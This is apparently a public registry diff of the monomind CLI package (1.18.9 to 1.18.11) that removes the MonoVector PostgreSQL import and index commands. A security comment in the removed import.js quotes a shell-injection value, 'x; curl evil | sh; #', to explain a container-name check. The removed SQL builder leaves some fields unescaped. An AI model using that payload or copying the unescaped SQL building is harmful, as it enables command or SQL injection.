monomind 1.18.9 → 1.18.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packages/@monomind/cli/dist/src/agents/registry-builder.js +1 -1
- package/packages/@monomind/cli/dist/src/commands/doctor-project-checks.js +2 -3
- package/packages/@monomind/cli/dist/src/commands/hooks-coverage-commands.d.ts +1 -2
- package/packages/@monomind/cli/dist/src/commands/hooks-coverage-commands.js +1 -2
- package/packages/@monomind/cli/dist/src/commands/hooks-coverage-gaps.d.ts +1 -2
- package/packages/@monomind/cli/dist/src/commands/hooks-coverage-gaps.js +2 -117
- package/packages/@monomind/cli/dist/src/commands/hooks.js +1 -2
- package/packages/@monomind/cli/dist/src/commands/index.d.ts +0 -1
- package/packages/@monomind/cli/dist/src/commands/index.js +0 -1
- package/packages/@monomind/cli/dist/src/commands/security-misc.js +0 -1
- package/packages/@monomind/cli/dist/src/init/executor.d.ts +3 -0
- package/packages/@monomind/cli/dist/src/init/executor.js +20 -111
- package/packages/@monomind/cli/dist/src/mcp-client.js +0 -2
- package/packages/@monomind/cli/dist/src/mcp-tools/index.d.ts +0 -1
- package/packages/@monomind/cli/dist/src/mcp-tools/index.js +0 -1
- package/packages/@monomind/cli/dist/src/mcp-tools/quality/coverage-analysis/track-trends.d.ts +4 -4
- package/packages/@monomind/cli/dist/src/mcp-tools/quality/test-generation/suggest-tests.d.ts +4 -4
- package/packages/@monomind/cli/dist/src/mcp-tools/security-tools.js +0 -1
- package/packages/@monomind/cli/package.json +1 -1
- package/packages/@monomind/cli/dist/src/benchmarks/benchmark-runner.d.ts +0 -134
- package/packages/@monomind/cli/dist/src/benchmarks/benchmark-runner.js +0 -340
- package/packages/@monomind/cli/dist/src/benchmarks/metric-evaluators.d.ts +0 -36
- package/packages/@monomind/cli/dist/src/benchmarks/metric-evaluators.js +0 -125
- package/packages/@monomind/cli/dist/src/commands/benchmark.d.ts +0 -10
- package/packages/@monomind/cli/dist/src/commands/benchmark.js +0 -586
- package/packages/@monomind/cli/dist/src/commands/migrate.d.ts +0 -8
- package/packages/@monomind/cli/dist/src/commands/migrate.js +0 -789
- package/packages/@monomind/cli/dist/src/commands/monovector/backup.d.ts +0 -11
- package/packages/@monomind/cli/dist/src/commands/monovector/backup.js +0 -752
- package/packages/@monomind/cli/dist/src/commands/monovector/benchmark.d.ts +0 -11
- package/packages/@monomind/cli/dist/src/commands/monovector/benchmark.js +0 -502
- package/packages/@monomind/cli/dist/src/commands/monovector/import.d.ts +0 -18
- package/packages/@monomind/cli/dist/src/commands/monovector/import.js +0 -374
- package/packages/@monomind/cli/dist/src/commands/monovector/index.d.ts +0 -29
- package/packages/@monomind/cli/dist/src/commands/monovector/index.js +0 -129
- package/packages/@monomind/cli/dist/src/commands/monovector/init.d.ts +0 -11
- package/packages/@monomind/cli/dist/src/commands/monovector/init.js +0 -481
- package/packages/@monomind/cli/dist/src/commands/monovector/migrate.d.ts +0 -11
- package/packages/@monomind/cli/dist/src/commands/monovector/migrate.js +0 -500
- package/packages/@monomind/cli/dist/src/commands/monovector/optimize.d.ts +0 -11
- package/packages/@monomind/cli/dist/src/commands/monovector/optimize.js +0 -515
- package/packages/@monomind/cli/dist/src/commands/monovector/setup.d.ts +0 -18
- package/packages/@monomind/cli/dist/src/commands/monovector/setup.js +0 -775
- package/packages/@monomind/cli/dist/src/commands/monovector/status.d.ts +0 -11
- package/packages/@monomind/cli/dist/src/commands/monovector/status.js +0 -491
- package/packages/@monomind/cli/dist/src/commands/progress.d.ts +0 -11
- package/packages/@monomind/cli/dist/src/commands/progress.js +0 -261
- package/packages/@monomind/cli/dist/src/mcp-tools/progress-tools.d.ts +0 -14
- package/packages/@monomind/cli/dist/src/mcp-tools/progress-tools.js +0 -353
|
@@ -1,374 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* CLI MonoVector Import Command
|
|
3
|
-
* Import data from sql.js/JSON memory to MonoVector PostgreSQL
|
|
4
|
-
*
|
|
5
|
-
* Usage:
|
|
6
|
-
* npx monomind monovector import --input memory-export.json
|
|
7
|
-
* npx monomind monovector import --from-memory
|
|
8
|
-
* npx monomind monovector import --input data.json --batch-size 100
|
|
9
|
-
*
|
|
10
|
-
* https://github.com/monoes/monomind
|
|
11
|
-
*/
|
|
12
|
-
import { output } from '../../output.js';
|
|
13
|
-
import * as fs from 'fs';
|
|
14
|
-
import * as path from 'path';
|
|
15
|
-
/**
|
|
16
|
-
* Format a monovector embedding array for PostgreSQL
|
|
17
|
-
*/
|
|
18
|
-
function formatEmbedding(embedding, dimensions = 384) {
|
|
19
|
-
// Ensure correct dimensions by padding or truncating
|
|
20
|
-
const padded = [...embedding];
|
|
21
|
-
while (padded.length < dimensions) {
|
|
22
|
-
padded.push(0);
|
|
23
|
-
}
|
|
24
|
-
if (padded.length > dimensions) {
|
|
25
|
-
padded.length = dimensions;
|
|
26
|
-
}
|
|
27
|
-
return `'[${padded.join(',')}]'::monovector(${dimensions})`;
|
|
28
|
-
}
|
|
29
|
-
/**
|
|
30
|
-
* Escape string for PostgreSQL
|
|
31
|
-
*/
|
|
32
|
-
function escapeString(str) {
|
|
33
|
-
return str.replace(/'/g, "''").replace(/\\/g, '\\\\');
|
|
34
|
-
}
|
|
35
|
-
/**
|
|
36
|
-
* Generate SQL INSERT statement for a memory entry
|
|
37
|
-
*/
|
|
38
|
-
function generateInsertSQL(entry) {
|
|
39
|
-
const key = escapeString(entry.key);
|
|
40
|
-
const value = typeof entry.value === 'string'
|
|
41
|
-
? escapeString(entry.value)
|
|
42
|
-
: escapeString(JSON.stringify(entry.value));
|
|
43
|
-
const namespace = entry.namespace || 'default';
|
|
44
|
-
const metadata = entry.metadata ? escapeString(JSON.stringify(entry.metadata)) : '{}';
|
|
45
|
-
let embeddingClause = 'NULL';
|
|
46
|
-
if (entry.embedding && Array.isArray(entry.embedding) && entry.embedding.length > 0) {
|
|
47
|
-
embeddingClause = formatEmbedding(entry.embedding);
|
|
48
|
-
}
|
|
49
|
-
return `INSERT INTO monomind.memory_entries (key, value, embedding, namespace, metadata, created_at, updated_at)
|
|
50
|
-
VALUES (
|
|
51
|
-
'${key}',
|
|
52
|
-
'${value}',
|
|
53
|
-
${embeddingClause},
|
|
54
|
-
'${namespace}',
|
|
55
|
-
'${metadata}'::jsonb,
|
|
56
|
-
${entry.created_at ? `'${entry.created_at}'::timestamptz` : 'NOW()'},
|
|
57
|
-
${entry.updated_at ? `'${entry.updated_at}'::timestamptz` : 'NOW()'}
|
|
58
|
-
)
|
|
59
|
-
ON CONFLICT (key, namespace) DO UPDATE SET
|
|
60
|
-
value = EXCLUDED.value,
|
|
61
|
-
embedding = COALESCE(EXCLUDED.embedding, monomind.memory_entries.embedding),
|
|
62
|
-
metadata = EXCLUDED.metadata,
|
|
63
|
-
updated_at = NOW();`;
|
|
64
|
-
}
|
|
65
|
-
/**
|
|
66
|
-
* MonoVector Import command - import from sql.js/JSON to PostgreSQL
|
|
67
|
-
*/
|
|
68
|
-
export const importCommand = {
|
|
69
|
-
name: 'import',
|
|
70
|
-
description: 'Import data from sql.js/JSON memory to MonoVector PostgreSQL',
|
|
71
|
-
aliases: ['load', 'migrate-data'],
|
|
72
|
-
options: [
|
|
73
|
-
{
|
|
74
|
-
name: 'input',
|
|
75
|
-
short: 'i',
|
|
76
|
-
description: 'Input JSON file path',
|
|
77
|
-
type: 'string',
|
|
78
|
-
},
|
|
79
|
-
{
|
|
80
|
-
name: 'from-memory',
|
|
81
|
-
description: 'Export from current Monomind memory and import',
|
|
82
|
-
type: 'boolean',
|
|
83
|
-
default: false,
|
|
84
|
-
},
|
|
85
|
-
{
|
|
86
|
-
name: 'output',
|
|
87
|
-
short: 'o',
|
|
88
|
-
description: 'Output SQL file instead of executing (dry-run)',
|
|
89
|
-
type: 'string',
|
|
90
|
-
},
|
|
91
|
-
{
|
|
92
|
-
name: 'batch-size',
|
|
93
|
-
short: 'b',
|
|
94
|
-
description: 'Batch size for imports',
|
|
95
|
-
type: 'number',
|
|
96
|
-
default: 100,
|
|
97
|
-
},
|
|
98
|
-
{
|
|
99
|
-
name: 'host',
|
|
100
|
-
short: 'h',
|
|
101
|
-
description: 'PostgreSQL host',
|
|
102
|
-
type: 'string',
|
|
103
|
-
default: 'localhost',
|
|
104
|
-
},
|
|
105
|
-
{
|
|
106
|
-
name: 'port',
|
|
107
|
-
short: 'p',
|
|
108
|
-
description: 'PostgreSQL port',
|
|
109
|
-
type: 'number',
|
|
110
|
-
default: 5432,
|
|
111
|
-
},
|
|
112
|
-
{
|
|
113
|
-
name: 'database',
|
|
114
|
-
short: 'd',
|
|
115
|
-
description: 'Database name',
|
|
116
|
-
type: 'string',
|
|
117
|
-
default: 'monomind',
|
|
118
|
-
},
|
|
119
|
-
{
|
|
120
|
-
name: 'user',
|
|
121
|
-
short: 'u',
|
|
122
|
-
description: 'Database user',
|
|
123
|
-
type: 'string',
|
|
124
|
-
default: 'claude',
|
|
125
|
-
},
|
|
126
|
-
{
|
|
127
|
-
name: 'password',
|
|
128
|
-
description: 'Database password (or use PGPASSWORD env var)',
|
|
129
|
-
type: 'string',
|
|
130
|
-
},
|
|
131
|
-
{
|
|
132
|
-
name: 'container',
|
|
133
|
-
short: 'c',
|
|
134
|
-
description: 'Docker container name to exec into',
|
|
135
|
-
type: 'string',
|
|
136
|
-
default: 'monovector-postgres',
|
|
137
|
-
},
|
|
138
|
-
{
|
|
139
|
-
name: 'verbose',
|
|
140
|
-
short: 'v',
|
|
141
|
-
description: 'Verbose output',
|
|
142
|
-
type: 'boolean',
|
|
143
|
-
default: false,
|
|
144
|
-
},
|
|
145
|
-
],
|
|
146
|
-
examples: [
|
|
147
|
-
{ command: 'monomind monovector import --input memory-export.json', description: 'Import from JSON file' },
|
|
148
|
-
{ command: 'monomind monovector import --input data.json --output import.sql', description: 'Generate SQL file (dry-run)' },
|
|
149
|
-
{ command: 'monomind monovector import --from-memory', description: 'Export current memory and import' },
|
|
150
|
-
{ command: 'monomind monovector import --input data.json --container my-postgres', description: 'Import using custom container' },
|
|
151
|
-
],
|
|
152
|
-
action: async (ctx) => {
|
|
153
|
-
const inputFile = ctx.flags.input;
|
|
154
|
-
const fromMemory = ctx.flags['from-memory'];
|
|
155
|
-
const outputFile = ctx.flags.output;
|
|
156
|
-
const batchSize = ctx.flags['batch-size'] || 100;
|
|
157
|
-
const containerName = ctx.flags.container || 'monovector-postgres';
|
|
158
|
-
// SECURITY: containerName is interpolated into shell commands below.
|
|
159
|
-
// Without validation, --container 'x; curl evil | sh; #' becomes a shell
|
|
160
|
-
// metachar payload. Validate against Docker's documented container-name
|
|
161
|
-
// syntax: ^[a-zA-Z0-9][a-zA-Z0-9_.-]{0,127}$
|
|
162
|
-
if (!/^[a-zA-Z0-9][a-zA-Z0-9_.-]{0,127}$/.test(containerName)) {
|
|
163
|
-
output.printError(`Invalid container name: must match Docker syntax [a-zA-Z0-9][a-zA-Z0-9_.-]{0,127}`);
|
|
164
|
-
return { success: false, message: 'Invalid container name' };
|
|
165
|
-
}
|
|
166
|
-
const verbose = ctx.flags.verbose;
|
|
167
|
-
output.writeln();
|
|
168
|
-
output.writeln(output.bold('MonoVector PostgreSQL Import'));
|
|
169
|
-
output.writeln(output.dim('='.repeat(50)));
|
|
170
|
-
output.writeln();
|
|
171
|
-
// Validate input
|
|
172
|
-
if (!inputFile && !fromMemory) {
|
|
173
|
-
output.printError('Either --input <file> or --from-memory is required');
|
|
174
|
-
output.writeln();
|
|
175
|
-
output.printInfo('Examples:');
|
|
176
|
-
output.writeln(' monomind monovector import --input memory-export.json');
|
|
177
|
-
output.writeln(' monomind monovector import --from-memory');
|
|
178
|
-
return { success: false, message: 'Missing input source' };
|
|
179
|
-
}
|
|
180
|
-
let entries = [];
|
|
181
|
-
// Load entries from JSON file
|
|
182
|
-
if (inputFile) {
|
|
183
|
-
if (!fs.existsSync(inputFile)) {
|
|
184
|
-
output.printError(`Input file not found: ${inputFile}`);
|
|
185
|
-
return { success: false, message: 'File not found' };
|
|
186
|
-
}
|
|
187
|
-
// Symlink guard: a symlink could redirect to /etc/passwd or a huge file.
|
|
188
|
-
// lstatSync checks the link itself, not the target — so symlinks are rejected
|
|
189
|
-
// regardless of what they point to (TOCTOU-safe for the check + read pair).
|
|
190
|
-
const lstat = fs.lstatSync(inputFile);
|
|
191
|
-
if (lstat.isSymbolicLink()) {
|
|
192
|
-
output.printError(`Symlinks are not allowed as input files: ${inputFile}`);
|
|
193
|
-
return { success: false, message: 'Symlink not allowed' };
|
|
194
|
-
}
|
|
195
|
-
// Size guard: without this, a user can pass a multi-GB file and exhaust the
|
|
196
|
-
// Node heap before JSON.parse ever runs, crashing the CLI with an OOM.
|
|
197
|
-
const MAX_IMPORT_FILE_BYTES = 50 * 1024 * 1024; // 50 MB
|
|
198
|
-
if (lstat.size > MAX_IMPORT_FILE_BYTES) {
|
|
199
|
-
output.printError(`Input file too large: ${inputFile} (max 50 MB)`);
|
|
200
|
-
return { success: false, message: 'Input file too large' };
|
|
201
|
-
}
|
|
202
|
-
try {
|
|
203
|
-
output.printInfo(`Reading: ${inputFile}`);
|
|
204
|
-
const content = fs.readFileSync(inputFile, 'utf-8');
|
|
205
|
-
const data = JSON.parse(content);
|
|
206
|
-
// Handle different JSON formats
|
|
207
|
-
if (Array.isArray(data)) {
|
|
208
|
-
entries = data;
|
|
209
|
-
}
|
|
210
|
-
else if (data.entries && Array.isArray(data.entries)) {
|
|
211
|
-
entries = data.entries;
|
|
212
|
-
}
|
|
213
|
-
else if (data.results && Array.isArray(data.results)) {
|
|
214
|
-
entries = data.results;
|
|
215
|
-
}
|
|
216
|
-
else if (typeof data === 'object') {
|
|
217
|
-
// Convert object format { key: value } to entries
|
|
218
|
-
entries = Object.entries(data).map(([key, value]) => ({
|
|
219
|
-
key,
|
|
220
|
-
value: typeof value === 'object' ? JSON.stringify(value) : String(value),
|
|
221
|
-
}));
|
|
222
|
-
}
|
|
223
|
-
output.printSuccess(`Loaded ${entries.length} entries from file`);
|
|
224
|
-
}
|
|
225
|
-
catch (error) {
|
|
226
|
-
const errorMessage = error instanceof Error ? error.message : String(error);
|
|
227
|
-
output.printError(`Failed to parse JSON: ${errorMessage}`);
|
|
228
|
-
return { success: false, message: errorMessage };
|
|
229
|
-
}
|
|
230
|
-
}
|
|
231
|
-
// Export from current memory
|
|
232
|
-
if (fromMemory) {
|
|
233
|
-
output.printInfo('Exporting from current Monomind memory...');
|
|
234
|
-
output.printWarning('Note: Run "npx monomind memory list --format json > memory-export.json" first');
|
|
235
|
-
output.printInfo('Then use: npx monomind monovector import --input memory-export.json');
|
|
236
|
-
return { success: false, message: 'Use explicit JSON export first' };
|
|
237
|
-
}
|
|
238
|
-
if (entries.length === 0) {
|
|
239
|
-
output.printWarning('No entries to import');
|
|
240
|
-
return { success: true };
|
|
241
|
-
}
|
|
242
|
-
// Calculate statistics
|
|
243
|
-
const stats = {
|
|
244
|
-
total: entries.length,
|
|
245
|
-
imported: 0,
|
|
246
|
-
skipped: 0,
|
|
247
|
-
errors: 0,
|
|
248
|
-
withEmbeddings: 0,
|
|
249
|
-
byNamespace: {},
|
|
250
|
-
};
|
|
251
|
-
// Generate SQL statements
|
|
252
|
-
const sqlStatements = [];
|
|
253
|
-
sqlStatements.push('-- MonoVector PostgreSQL Import');
|
|
254
|
-
sqlStatements.push(`-- Generated: ${new Date().toISOString()}`);
|
|
255
|
-
sqlStatements.push(`-- Total entries: ${entries.length}`);
|
|
256
|
-
sqlStatements.push('');
|
|
257
|
-
sqlStatements.push('BEGIN;');
|
|
258
|
-
sqlStatements.push('');
|
|
259
|
-
for (const entry of entries) {
|
|
260
|
-
try {
|
|
261
|
-
// Track statistics
|
|
262
|
-
const ns = entry.namespace || 'default';
|
|
263
|
-
stats.byNamespace[ns] = (stats.byNamespace[ns] || 0) + 1;
|
|
264
|
-
if (entry.embedding && entry.embedding.length > 0) {
|
|
265
|
-
stats.withEmbeddings++;
|
|
266
|
-
}
|
|
267
|
-
const sql = generateInsertSQL(entry);
|
|
268
|
-
sqlStatements.push(sql);
|
|
269
|
-
sqlStatements.push('');
|
|
270
|
-
stats.imported++;
|
|
271
|
-
if (verbose) {
|
|
272
|
-
output.writeln(output.dim(` Processed: ${entry.key} (${ns})`));
|
|
273
|
-
}
|
|
274
|
-
}
|
|
275
|
-
catch (error) {
|
|
276
|
-
stats.errors++;
|
|
277
|
-
const errorMessage = error instanceof Error ? error.message : String(error);
|
|
278
|
-
output.printWarning(`Skipped entry "${entry.key}": ${errorMessage}`);
|
|
279
|
-
}
|
|
280
|
-
}
|
|
281
|
-
sqlStatements.push('COMMIT;');
|
|
282
|
-
sqlStatements.push('');
|
|
283
|
-
sqlStatements.push(`-- Import complete: ${stats.imported} entries`);
|
|
284
|
-
const fullSQL = sqlStatements.join('\n');
|
|
285
|
-
// Output SQL file (dry-run)
|
|
286
|
-
if (outputFile) {
|
|
287
|
-
try {
|
|
288
|
-
output.printInfo(`Writing SQL to: ${outputFile}`);
|
|
289
|
-
fs.writeFileSync(outputFile, fullSQL);
|
|
290
|
-
output.printSuccess(`SQL file created: ${outputFile}`);
|
|
291
|
-
output.writeln();
|
|
292
|
-
output.printInfo('To execute the import:');
|
|
293
|
-
output.writeln(` docker exec -i ${containerName} psql -U claude -d monomind < ${outputFile}`);
|
|
294
|
-
}
|
|
295
|
-
catch (error) {
|
|
296
|
-
const errorMessage = error instanceof Error ? error.message : String(error);
|
|
297
|
-
output.printError(`Failed to write SQL file: ${errorMessage}`);
|
|
298
|
-
return { success: false, message: errorMessage };
|
|
299
|
-
}
|
|
300
|
-
}
|
|
301
|
-
else {
|
|
302
|
-
// Execute directly via docker exec
|
|
303
|
-
output.printInfo(`Importing to PostgreSQL via container: ${containerName}`);
|
|
304
|
-
output.writeln();
|
|
305
|
-
// Write to temp file for execution
|
|
306
|
-
const tempFile = path.join(process.cwd(), '.monovector-import-temp.sql');
|
|
307
|
-
try {
|
|
308
|
-
fs.writeFileSync(tempFile, fullSQL);
|
|
309
|
-
output.printInfo('Executing import...');
|
|
310
|
-
output.writeln();
|
|
311
|
-
output.writeln(output.dim('Command:'));
|
|
312
|
-
output.writeln(output.dim(` docker exec -i ${containerName} psql -U claude -d monomind < ${tempFile}`));
|
|
313
|
-
output.writeln();
|
|
314
|
-
// Execute via child_process
|
|
315
|
-
const { execFileSync } = await import('child_process');
|
|
316
|
-
try {
|
|
317
|
-
const sqlContent = fs.readFileSync(tempFile);
|
|
318
|
-
const result = execFileSync('docker', ['exec', '-i', containerName, 'psql', '-U', 'claude', '-d', 'monomind'], {
|
|
319
|
-
input: sqlContent,
|
|
320
|
-
encoding: 'utf-8',
|
|
321
|
-
timeout: 60000,
|
|
322
|
-
});
|
|
323
|
-
if (verbose) {
|
|
324
|
-
output.writeln(output.dim(result));
|
|
325
|
-
}
|
|
326
|
-
output.printSuccess('Import completed successfully!');
|
|
327
|
-
}
|
|
328
|
-
catch (execError) {
|
|
329
|
-
const execErrorMessage = execError instanceof Error ? execError.message : String(execError);
|
|
330
|
-
output.printError(`Import failed: ${execErrorMessage}`);
|
|
331
|
-
output.writeln();
|
|
332
|
-
output.printInfo('You can manually run the import with:');
|
|
333
|
-
output.writeln(` docker exec -i ${containerName} psql -U claude -d monomind < ${tempFile}`);
|
|
334
|
-
return { success: false, message: execErrorMessage };
|
|
335
|
-
}
|
|
336
|
-
finally {
|
|
337
|
-
// Clean up temp file
|
|
338
|
-
try {
|
|
339
|
-
fs.unlinkSync(tempFile);
|
|
340
|
-
}
|
|
341
|
-
catch {
|
|
342
|
-
// Ignore cleanup errors
|
|
343
|
-
}
|
|
344
|
-
}
|
|
345
|
-
}
|
|
346
|
-
catch (error) {
|
|
347
|
-
const errorMessage = error instanceof Error ? error.message : String(error);
|
|
348
|
-
output.printError(`Failed to create temp file: ${errorMessage}`);
|
|
349
|
-
return { success: false, message: errorMessage };
|
|
350
|
-
}
|
|
351
|
-
}
|
|
352
|
-
// Print statistics
|
|
353
|
-
output.writeln();
|
|
354
|
-
output.printBox([
|
|
355
|
-
'Import Statistics',
|
|
356
|
-
'',
|
|
357
|
-
` Total entries: ${stats.total}`,
|
|
358
|
-
` Imported: ${stats.imported}`,
|
|
359
|
-
` With embeddings: ${stats.withEmbeddings}`,
|
|
360
|
-
` Errors: ${stats.errors}`,
|
|
361
|
-
'',
|
|
362
|
-
'By Namespace:',
|
|
363
|
-
...Object.entries(stats.byNamespace).map(([ns, count]) => ` ${ns}: ${count}`),
|
|
364
|
-
].join('\n'), 'Import Complete');
|
|
365
|
-
output.writeln();
|
|
366
|
-
// Show verification command
|
|
367
|
-
output.printInfo('To verify the import:');
|
|
368
|
-
output.writeln(` docker exec ${containerName} psql -U claude -d monomind -c "SELECT COUNT(*) FROM monomind.memory_entries;"`);
|
|
369
|
-
output.writeln();
|
|
370
|
-
return { success: true };
|
|
371
|
-
},
|
|
372
|
-
};
|
|
373
|
-
export default importCommand;
|
|
374
|
-
//# sourceMappingURL=import.js.map
|
|
@@ -1,29 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* CLI MonoVector PostgreSQL Bridge Command
|
|
3
|
-
* Management commands for MonoVector PostgreSQL integration
|
|
4
|
-
*
|
|
5
|
-
* Features:
|
|
6
|
-
* - monovector/pgvector integration for vector operations
|
|
7
|
-
* - Attention mechanism embeddings
|
|
8
|
-
* - Graph Neural Network support
|
|
9
|
-
* - Hyperbolic embeddings (Poincare ball)
|
|
10
|
-
* - Performance benchmarking
|
|
11
|
-
* - Migration management
|
|
12
|
-
*
|
|
13
|
-
* https://github.com/monoes/monomind
|
|
14
|
-
*/
|
|
15
|
-
import type { Command } from '../../types.js';
|
|
16
|
-
/**
|
|
17
|
-
* MonoVector PostgreSQL Bridge main command
|
|
18
|
-
*/
|
|
19
|
-
export declare const monovectorCommand: Command;
|
|
20
|
-
export default monovectorCommand;
|
|
21
|
-
export { initCommand } from './init.js';
|
|
22
|
-
export { setupCommand } from './setup.js';
|
|
23
|
-
export { importCommand } from './import.js';
|
|
24
|
-
export { migrateCommand } from './migrate.js';
|
|
25
|
-
export { statusCommand } from './status.js';
|
|
26
|
-
export { benchmarkCommand } from './benchmark.js';
|
|
27
|
-
export { optimizeCommand } from './optimize.js';
|
|
28
|
-
export { backupCommand } from './backup.js';
|
|
29
|
-
//# sourceMappingURL=index.d.ts.map
|
|
@@ -1,129 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* CLI MonoVector PostgreSQL Bridge Command
|
|
3
|
-
* Management commands for MonoVector PostgreSQL integration
|
|
4
|
-
*
|
|
5
|
-
* Features:
|
|
6
|
-
* - monovector/pgvector integration for vector operations
|
|
7
|
-
* - Attention mechanism embeddings
|
|
8
|
-
* - Graph Neural Network support
|
|
9
|
-
* - Hyperbolic embeddings (Poincare ball)
|
|
10
|
-
* - Performance benchmarking
|
|
11
|
-
* - Migration management
|
|
12
|
-
*
|
|
13
|
-
* https://github.com/monoes/monomind
|
|
14
|
-
*/
|
|
15
|
-
import { output } from '../../output.js';
|
|
16
|
-
// Import subcommands
|
|
17
|
-
import { initCommand } from './init.js';
|
|
18
|
-
import { migrateCommand } from './migrate.js';
|
|
19
|
-
import { statusCommand } from './status.js';
|
|
20
|
-
import { benchmarkCommand } from './benchmark.js';
|
|
21
|
-
import { optimizeCommand } from './optimize.js';
|
|
22
|
-
import { backupCommand } from './backup.js';
|
|
23
|
-
import { setupCommand } from './setup.js';
|
|
24
|
-
import { importCommand } from './import.js';
|
|
25
|
-
/**
|
|
26
|
-
* MonoVector PostgreSQL Bridge main command
|
|
27
|
-
*/
|
|
28
|
-
export const monovectorCommand = {
|
|
29
|
-
name: 'monovector',
|
|
30
|
-
description: 'MonoVector PostgreSQL Bridge management',
|
|
31
|
-
aliases: ['rv', 'pgvector'],
|
|
32
|
-
subcommands: [
|
|
33
|
-
initCommand,
|
|
34
|
-
setupCommand,
|
|
35
|
-
importCommand,
|
|
36
|
-
migrateCommand,
|
|
37
|
-
statusCommand,
|
|
38
|
-
benchmarkCommand,
|
|
39
|
-
optimizeCommand,
|
|
40
|
-
backupCommand,
|
|
41
|
-
],
|
|
42
|
-
options: [
|
|
43
|
-
{
|
|
44
|
-
name: 'host',
|
|
45
|
-
short: 'h',
|
|
46
|
-
description: 'PostgreSQL host',
|
|
47
|
-
type: 'string',
|
|
48
|
-
default: 'localhost',
|
|
49
|
-
},
|
|
50
|
-
{
|
|
51
|
-
name: 'port',
|
|
52
|
-
short: 'p',
|
|
53
|
-
description: 'PostgreSQL port',
|
|
54
|
-
type: 'number',
|
|
55
|
-
default: 5432,
|
|
56
|
-
},
|
|
57
|
-
{
|
|
58
|
-
name: 'database',
|
|
59
|
-
short: 'd',
|
|
60
|
-
description: 'Database name',
|
|
61
|
-
type: 'string',
|
|
62
|
-
},
|
|
63
|
-
{
|
|
64
|
-
name: 'user',
|
|
65
|
-
short: 'u',
|
|
66
|
-
description: 'Database user',
|
|
67
|
-
type: 'string',
|
|
68
|
-
},
|
|
69
|
-
{
|
|
70
|
-
name: 'schema',
|
|
71
|
-
short: 's',
|
|
72
|
-
description: 'Schema name',
|
|
73
|
-
type: 'string',
|
|
74
|
-
default: 'monomind',
|
|
75
|
-
},
|
|
76
|
-
],
|
|
77
|
-
examples: [
|
|
78
|
-
{ command: 'monomind monovector setup', description: 'Output Docker files and SQL for setup' },
|
|
79
|
-
{ command: 'monomind monovector import --input memory.json', description: 'Import from sql.js/JSON export' },
|
|
80
|
-
{ command: 'monomind monovector init --database mydb', description: 'Initialize MonoVector in PostgreSQL' },
|
|
81
|
-
{ command: 'monomind monovector status --verbose', description: 'Check connection and schema status' },
|
|
82
|
-
{ command: 'monomind monovector migrate --up', description: 'Run pending migrations' },
|
|
83
|
-
{ command: 'monomind monovector benchmark --vectors 10000', description: 'Run performance benchmark' },
|
|
84
|
-
{ command: 'monomind monovector optimize --analyze', description: 'Analyze and suggest optimizations' },
|
|
85
|
-
{ command: 'monomind monovector backup --output backup.sql', description: 'Backup MonoVector data' },
|
|
86
|
-
],
|
|
87
|
-
action: async (ctx) => {
|
|
88
|
-
// Default action: show help/status overview
|
|
89
|
-
output.writeln();
|
|
90
|
-
output.writeln(output.bold('MonoVector PostgreSQL Bridge'));
|
|
91
|
-
output.writeln(output.dim('='.repeat(60)));
|
|
92
|
-
output.writeln();
|
|
93
|
-
output.printBox([
|
|
94
|
-
'MonoVector provides PostgreSQL integration for Monomind with:',
|
|
95
|
-
'',
|
|
96
|
-
' - monovector/pgvector extension for vector operations',
|
|
97
|
-
' - Attention mechanism embeddings',
|
|
98
|
-
' - Graph Neural Network (GNN) support',
|
|
99
|
-
' - Hyperbolic embeddings (Poincare ball model)',
|
|
100
|
-
' - HNSW indexing (150x-12,500x faster)',
|
|
101
|
-
'',
|
|
102
|
-
'Available subcommands:',
|
|
103
|
-
'',
|
|
104
|
-
' setup Output Docker files and SQL for setup',
|
|
105
|
-
' import Import from sql.js/JSON to PostgreSQL',
|
|
106
|
-
' init Initialize MonoVector in PostgreSQL',
|
|
107
|
-
' migrate Run database migrations',
|
|
108
|
-
' status Check connection and schema status',
|
|
109
|
-
' benchmark Run performance benchmarks',
|
|
110
|
-
' optimize Analyze and optimize performance',
|
|
111
|
-
' backup Backup and restore data',
|
|
112
|
-
].join('\n'), 'MonoVector PostgreSQL Bridge');
|
|
113
|
-
output.writeln();
|
|
114
|
-
output.printInfo('Run `monomind monovector <command> --help` for details');
|
|
115
|
-
output.writeln();
|
|
116
|
-
return { success: true };
|
|
117
|
-
},
|
|
118
|
-
};
|
|
119
|
-
export default monovectorCommand;
|
|
120
|
-
// Re-export subcommands for direct access
|
|
121
|
-
export { initCommand } from './init.js';
|
|
122
|
-
export { setupCommand } from './setup.js';
|
|
123
|
-
export { importCommand } from './import.js';
|
|
124
|
-
export { migrateCommand } from './migrate.js';
|
|
125
|
-
export { statusCommand } from './status.js';
|
|
126
|
-
export { benchmarkCommand } from './benchmark.js';
|
|
127
|
-
export { optimizeCommand } from './optimize.js';
|
|
128
|
-
export { backupCommand } from './backup.js';
|
|
129
|
-
//# sourceMappingURL=index.js.map
|
|
@@ -1,11 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* CLI MonoVector Init Command
|
|
3
|
-
* Initialize MonoVector PostgreSQL Bridge
|
|
4
|
-
*/
|
|
5
|
-
import type { Command } from '../../types.js';
|
|
6
|
-
/**
|
|
7
|
-
* Initialize MonoVector in PostgreSQL
|
|
8
|
-
*/
|
|
9
|
-
export declare const initCommand: Command;
|
|
10
|
-
export default initCommand;
|
|
11
|
-
//# sourceMappingURL=init.d.ts.map
|